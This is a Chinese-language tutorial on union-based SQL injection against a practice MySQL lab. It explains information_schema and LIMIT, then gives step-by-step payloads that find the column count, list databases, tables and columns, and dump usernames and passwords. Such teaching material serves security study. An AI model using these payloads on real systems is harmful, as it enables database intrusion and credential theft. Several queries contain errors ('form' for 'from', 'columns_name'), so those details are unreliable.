SQL注入基础
指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是可被攻击者构造的,并且参数代入了数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
$query = "select * from users where id = $_GET[id]";
4.1.3
MySQL与SQL注入漏洞相关的知识点
在MySQL5.0版本以后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该数据库中有三个需要记住的表名:“schemata”、“tables”、“columns”。
schemata表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库库名的字段名为“schema_name”;
tables表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库库名和表名的字段分别 为“table_schema”、“table_name”;
columns表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名的字段分别 为:“table_schema”、“table_name”、“columns_name”。
MySQL查询语句
select *(要查询的字段名) from *(库名或表名)
select *(要查询的字段名) from *(库名或表名) where *(已知条件的字段名/已知条件的值)
select *(要查询的字段名) from *(库名或表名) where *(已知条件的字段名或值) and *(已知条件的字段名或值)
“limit”的用法
limit的使用格式为“limit m,n”,其中m为记录开始的值,n为取几条记录 例如“limit 0,1”表示只显示一条记录。
m可以理解为从第几组数据开始(注意第一组数据为编号0),n可以理解为显示几组数据
select * form `users`
id | username | password |
1 | test | password |
2 | test2 | password |
3 | zs | zs |
4 | ls | ls |
5 | w | w |
6 | zl | zl |
select * form `users` limit 0,1
1 | test | password |
select * form `users` limit 0,2
1 | test | password |
2 | test2 | password |
select * form `users` limit 1,2
2 | test2 | password |
3 | zs | zs |
select * from `users`; /*select*/ * from `users`; #注意这条语句中的select是被注释掉的,语句无法执行。 /*!select*/ * from users; #注意此处的select未被注释可以执行
4.1.4union注入攻击
可以看到?id=1 为注入点,简单给出判断依据:1、传参到服务器。(参数可控)2、传入的参数传入到数据库。
注入攻击步骤
第一步
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1 /*在本题中会出现报错,提示在limit前多了一个单引号如图4.1-1。那么重新构造payload:?id=1'and '1'='1,这样多出的单引号就会和“'1”构成闭合。测试正常显示。如图4.1-2*/
第二步
payload:?id=1' order by 3--+
//从order by 1一直试到报错,本题到4开始报错,说明有3列。如图4.1-3
第三步
https://www.cnblogs.com/lcamry/p/5715634.htmlSql注入中连接字符串常用函数
?id=-1' union select 1,2,3--+发现显示位是2,3。
可以看到当前数据库为security,数据库版本号为5.5.53、当前用户为root、数据库路径为:C:\phpStudy\PHPTutorial\MySQL\data\、操作系统版本:Win32
这一步我们所让查询到了当前数据库的库名,但是我们并不知道这个服务器的数据库有几个库,所以构造新的payload进行查询
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
payload:?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+
select table_name from information_schema.tables where table_schema='security'
查询information_schema库中的名为security的表的内容
第一种方式:构造一个新的payload: ?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
结果如图4.1-3
group_concat()函数可以将括号中的内容变成一串字符串进行输出
https://www.cnblogs.com/lcamry/p/5715634.html Sql注入中连接字符串常用函数
第二种方式:使用limit payload:?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3--+
可以看到如图4.1-4所显示,每次只能显示一个表名。所以我们只能不断更改m的值来查看所有表名。
第一种:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
第二种:?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),3--+
区别就是第一种会一次性将所有列名全部显示出来,二第二种需要更改limit的值(0,1、1,1)直到显示为空。
?id=-1' union select 1,username,password from security.users where id='2'--+ ?id=-1' union select 1,(select username from security.users limit 0,1),(select password from security.users limit 0,1)--+